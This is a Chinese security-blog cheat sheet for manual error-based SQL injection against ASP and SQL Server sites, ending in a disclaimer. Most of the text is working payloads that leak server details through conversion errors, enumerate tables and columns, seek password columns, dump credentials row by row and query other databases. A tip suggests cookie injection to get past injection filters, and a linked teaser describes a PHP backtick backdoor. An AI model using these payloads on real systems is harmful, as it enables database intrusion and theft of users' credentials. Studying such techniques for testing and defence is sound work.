--显错模式总结,利用类型转换报错。 --1=convert(int,(@@version)) --1=convert(int,(select host_name())) --and 1=convert(int,(user)) --爆表名记录条数。replace(字段名,' ','') select replace(str(count(*))+'N',' ','') from sysobjects where xtype='U' --逐条爆表名,需要更改是"top 0","top 0"代表第一条数据内容。 select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from sysobjects where xtype='U') --利用模糊字段关键词找表名,需要更改是"top 0","top 0"代表第一个表名. select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from syscolumns where id in(select id from sysobjects where xtype='U') and name like '%pass%' order by id asc) --爆表与之对应字段,需要更改的是表名"username"和"top 0","top 0"代表第一条数据内容。 select str(count(*))+'N' from syscolumns where id=(select id from sysobjects where xtype='U' and name='username') select top 1 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username') and name not in (select top 0 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username')) --爆对应表,对应字段数据库内容. --爆数据条数 select str(count(*))+'N' from username --爆对应字段对应内容,需要替换password,username,id,以及"top 0","top 0"代表第一条数据内容。 select top 1 password from username where id not in (select top 0 id from username) --跨库 select top 1 name from ss.dbo.sysobjects where xtype='U' and id not in(select top 0 id from ss.dbo.sysobjects where xtype='U')
原理就是那么简单,在测试的过程中学会变通。对于asp+sql server,经常会遇到做了防注入,有时候别忘了cookies注入,效果不错。
做事要有耐心,把自己当做一只蚂蚁,如何去把大堤给搞垮。
以上废话较多,请多见谅。
文章来源于lcx.cc:Sql Server 手工注入总结(显错模式)
相关推荐: PHP 中 shell_exec() 实际上是反撇号 ` 操作符的变体
论坛某同学发现了个有意思的东西,原帖内容如下: 一个官方没有公布的 php 秘籍,可用作后门 发现这个也是巧合,我就直接说了吧 大家看看这个代码有木有问题? 我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论